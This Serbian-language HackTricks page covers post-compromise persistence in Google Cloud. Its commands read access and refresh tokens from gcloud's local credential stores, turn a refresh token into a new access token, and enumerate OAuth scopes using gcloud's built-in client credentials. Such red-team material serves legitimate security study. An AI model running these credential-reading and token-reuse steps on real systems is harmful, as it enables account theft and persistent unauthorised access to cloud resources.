GCP - Non-svc Persistance

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Ovo su korisne tehnike kada, na neki način, kompromitujete neke GCP akreditive ili mašinu koja se izvršava u GCP okruženju.

Hakovanje Tokena

Tokeni Autentifikovanog Korisnika

Da biste dobili trenutni token korisnika, možete pokrenuti:

sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"

Proverite na ovoj stranici kako direktno koristiti ovaj token pomoću gcloud-a:

Da biste dobili detalje o generisanju novog pristupnog tokena pokrenite:

sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"

Takođe je moguće pronaći osvežavajuće tokene u $HOME/.config/gcloud/application_default_credentials.json i u $HOME/.config/gcloud/legacy_credentials/*/adc.json.

Da biste dobili novi osveženi pristupni token sa osvežavajućim tokenom, ID klijenta i tajnom klijenta pokrenite:

curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token

Validnost tokena za osvežavanje može se upravljati u Admin > Bezbednost > Kontrola sesije Google Cloud-a, i prema podrazumevanim postavkama postavljena je na 16h, iako se može postaviti da nikada ne istekne:

Autentikacioni tok

Autentikacioni tok prilikom korišćenja nečega poput gcloud auth login otvoriće prozor zahteva u pretraživaču i nakon prihvatanja svih opsega, pretraživač će poslati zahtev poput ovog na http port otvoren od strane alata:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

Zatim će gcloud koristiti stanje i kod sa nekim hardkodovanim client_id (32555940559.apps.googleusercontent.com) i client_secret (ZmssLNjJy2998hD4CTg2ejr2) da dobije konačne podatke o osvežavanju tokena.

Imajte na umu da je komunikacija sa lokalnim serverom u HTTP formatu, pa je moguće presresti podatke kako biste dobili token za osvežavanje, međutim, ovi podaci važe samo jednom, pa bi to bilo beskorisno, lakše je pročitati token za osvežavanje iz datoteke.

OAuth Scope

Sve Google opsege možete pronaći na https://developers.google.com/identity/protocols/oauth2/scopes ili ih dobiti izvršavanjem:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u

Moguće je videti koje oblasti podržava aplikacija koju gcloud koristi za autentifikaciju pomoću ovog skripta:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope         \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done

Nakon izvršenja, provereno je da ova aplikacija podržava ove opsege:

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

Servisni nalozi

Baš kao i sa autentifikovanim korisnicima, ako uspete da kompromitujete privatni ključ fajla servisnog naloga, moći ćete da mu pristupate obično koliko god želite. Međutim, ako ukradete OAuth token servisnog naloga, ovo može biti još interesantnije, jer, čak i ako su ovi tokeni podrazumevano korisni samo sat vremena, ako žrtva obriše privatni API ključ, OAuth token će i dalje biti validan dok ne istekne.

Metapodaci

Očigledno, dok se nalazite unutar mašine koja radi u GCP okruženju, moći ćete da pristupite servisnom nalogu povezanom sa tom mašinom kontaktirajući krajnju tačku metapodataka (imajte na umu da su OAuth tokeni do kojih možete pristupiti na ovoj krajnjoj tački obično ograničeni po opsezima).

Popravke

Neke popravke za ove tehnike su objašnjene na https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2

Reference

Last updated